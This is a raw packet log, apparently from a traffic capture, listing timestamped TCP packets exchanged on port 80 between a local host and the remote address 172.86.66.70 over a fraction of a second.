Sep 26, 2024 15:11:10.491343975 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491383076 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.491383076 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.491460085 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491473913 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491518974 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.491584063 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491640091 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491677999 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.491688967 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491700888 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491764069 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491775036 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491786003 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491794109 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.491823912 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.491823912 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.492650986 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.522399902 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.522418022 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.522434950 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.522455931 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.522468090 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.522485971 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.522500992 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.522515059 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.522527933 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.522561073 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.522574902 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.522587061 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.522598982 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.522613049 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.522613049 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.522651911 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.522695065 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.522706985 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.522733927 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.522733927 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.572406054 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.573183060 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573210001 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573224068 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573244095 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573256016 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573267937 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573293924 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.573357105 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.573375940 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573389053 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573401928 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573415041 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573427916 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573441029 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573465109 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.573465109 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.573487043 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.573651075 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573663950 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573676109 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573683023 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573695898 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573708057 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573715925 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.573721886 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573734999 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573746920 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.573746920 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.573798895 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.575148106 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575170994 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575180054 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575238943 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.575238943 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.575263023 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575275898 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575287104 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575299025 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575341940 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.575341940 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.575401068 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575413942 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575426102 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575438023 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575444937 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.575473070 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575474977 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.575577021 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575587988 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575596094 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575599909 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575606108 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575617075 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575623989 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575643063 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.575695038 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.575767040 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575779915 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575792074 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575803995 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575814009 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.575828075 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.575885057 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.576067924 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576102972 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.576124907 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576138020 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576210976 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576221943 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576232910 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576245070 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576256037 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576260090 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.576260090 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.576292992 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576299906 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.576365948 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576376915 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576387882 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576401949 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.576453924 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.576478004 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576491117 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576502085 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576513052 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576550961 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.576550961 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.576594114 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576606989 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576617956 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576630116 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576643944 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.576682091 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.576728106 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576740980 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576752901 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576765060 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576776981 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576790094 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.576818943 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.576818943 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.576845884 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576915979 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576927900 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576940060 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576950073 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.576991081 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.576991081 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.577053070 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577071905 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577085972 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577105999 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577121019 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577128887 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.577128887 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.577152967 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.577256918 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577270031 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577383041 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.577389002 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577402115 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577413082 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577425003 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577438116 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577445030 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.577451944 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577464104 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577487946 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.577518940 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577522993 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.577533007 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577569008 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577579975 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577593088 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577605009 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.577624083 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.577635050 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.577670097 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577682972 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577723026 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.577759981 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577769995 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577781916 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577809095 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.577832937 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577843904 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577856064 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577867985 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.577902079 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.577902079 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.577914953 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.578476906 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.580898046 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.608611107 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.608643055 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.608654976 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.608704090 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.608711958 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.608720064 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.608758926 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.608769894 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.608783007 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.608793020 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.608793974 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.608793020 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.608808994 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.608850002 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.608850002 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.608867884 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.608923912 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.608937025 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.608948946 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.608958006 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.609002113 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.609002113 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.659271002 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659290075 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659303904 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659329891 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659344912 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659358978 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659370899 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659394979 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659408092 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659446001 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659459114 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659507036 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.659507036 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.659537077 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659548998 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659562111 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659574032 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659600019 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.659600019 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.659723997 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659737110 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659748077 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659759998 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659770966 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659782887 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659796000 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.659806967 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.659806967 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.659910917 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.661439896 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661504030 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661515951 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661528111 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661593914 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.661593914 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.661813974 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661825895 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661838055 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661856890 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661868095 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.661870003 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661883116 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661894083 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661905050 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661917925 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661930084 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661932945 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.661932945 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.661943913 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661957026 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661967993 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.661998034 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.661998034 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.663348913 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663430929 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663444996 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663459063 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663469076 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663496017 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.663537979 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.663547993 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663585901 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663597107 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663635015 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.663682938 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663698912 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663710117 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663722038 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663767099 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.663767099 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.663785934 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663898945 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663909912 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663922071 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663933992 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663948059 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663963079 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.663968086 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.663968086 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.663992882 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.664021015 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.664051056 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664066076 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664105892 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.664192915 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664206028 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664217949 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664230108 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664241076 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664252996 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664262056 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.664262056 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.664264917 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664278030 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664289951 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664297104 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664304972 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664304972 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.664422035 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.664575100 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664587021 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664597988 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664611101 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664622068 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664634943 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664658070 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.664658070 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.664724112 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664736032 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664747000 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664799929 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.664799929 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.664844990 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664858103 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664869070 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664880991 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664892912 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664905071 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664916039 CEST	80	49727	172.86.66.70	192.168.2.12
